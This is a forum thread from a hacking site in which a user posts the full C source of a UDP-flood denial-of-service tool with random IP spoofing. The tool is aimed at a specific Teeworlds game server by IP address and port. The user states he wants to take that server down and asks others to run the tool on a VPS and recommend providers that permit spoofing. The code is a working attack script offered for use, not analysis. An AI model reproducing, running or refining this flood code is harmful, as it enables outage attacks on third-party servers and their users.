

Forum: [Hack Forums](#)

Thread: [Can you test this script on VPS? +Your VPS suggestions](#)

hackerbelarus - November 5, 2015, 8:51 am

Hello.

I found this script for a game called Teeworlds and I want to use it to shut down 1 server (31.186.250.190:8301). It uses UDP flood and IP spoofing: rghost.net/8Gq22YJ9X

Here's the code (TwDoS.c):

Spoiler [\(Click to View\)](#)Code #include <netinet/udp.h>

```
#include <netinet/ip.h>
```

```
#include <sys/socket.h>
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <stdlib.h>
```

```
#include <time.h>
```

```
#define TEEWORLDS_PACKET_SERVERBROWSE_GETINFO
```

"\xff\xff\xff\xff\xff\xff\xff\xff\xffgie3\x05"

```
#define TPSG_SIZE 15
```

```
#define TARGET_SERVER_IP "31.186.250.190"
```

```
#define TARGET_SERVER_PORT 8301
```

```
struct pseudo_header
```

 $\{$

```
u_int32_t source_address;
```

```
u_int32_t dest_address;
```

```
u_int8_t placeholder;
```

```
u_int8_t protocol;
```

```
u_int16_t udp_length;
```

$$\};$$

```
const char * rand_ip()
```

 $\{$

```
static char ip[32];
```

```
snprintf(ip, 32, "%d.%d.%d.%d", rand()%255+1, rand()%255+1, rand()%255+1, rand()%255+1);
```

```
return ip;
```

}

```
int main()
```

{

```
srand(time(NULL));
```

```
while(1)
```

 $\{$

```

int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if(s == -1)
{
    perror("socket()");
    return -1;
}

char datagram[4096] , source_ip[32] , *data , *pseudogram;

memset (datagram, 0, 4096);

struct iphdr *iph = (struct iphdr *) datagram;

struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));

struct sockaddr_in sin;
struct pseudo_header psh;

data = datagram + sizeof(struct iphdr) + sizeof(struct udphdr);
memcpy(data, TEEWORLDS_PACKET_SERVERBROWSE_GETINFO, TPSG_SIZE);

strcpy(source_ip, rand_ip());

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr (TARGET_SERVER_IP);

iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct iphdr) + sizeof (struct udphdr) + TPSG_SIZE;
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 65;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr ( source_ip );
iph->daddr = sin.sin_addr.s_addr;

iph->check = 0;

udph->source = htons (777);
udph->dest = htons (TARGET_SERVER_PORT);
udph->len = htons(8 + TPSG_SIZE);
udph->check = 0;

psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_UDP;
psh.udp_length = htons(sizeof(struct udphdr) + TPSG_SIZE );

```

```

int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + TPSG_SIZE;
pseudogram = malloc(psize);

memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , udph , sizeof(struct udphdr) +
TPSG_SIZE);

udph->check = 0;

if ( sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0 )
{
    perror("sendto()");
    return -1;
}

close(s);
}

return 0;
}

```

When I tested it on my local VMware machine, it just hanged my computer. But it should work on a VPS that supports IP spoofing.

So I'm asking somebody to test it on a VPS, and if it works, please tell me what VPS provider you are using.

Thanks for any help.

StunMods - November 8, 2015, 11:13 am

LMAO looks like it steals your VPS

skelly76 - November 8, 2015, 1:44 pm

Nobody in the Beginner Section has a VPS, and those who do I assume know how to read some code.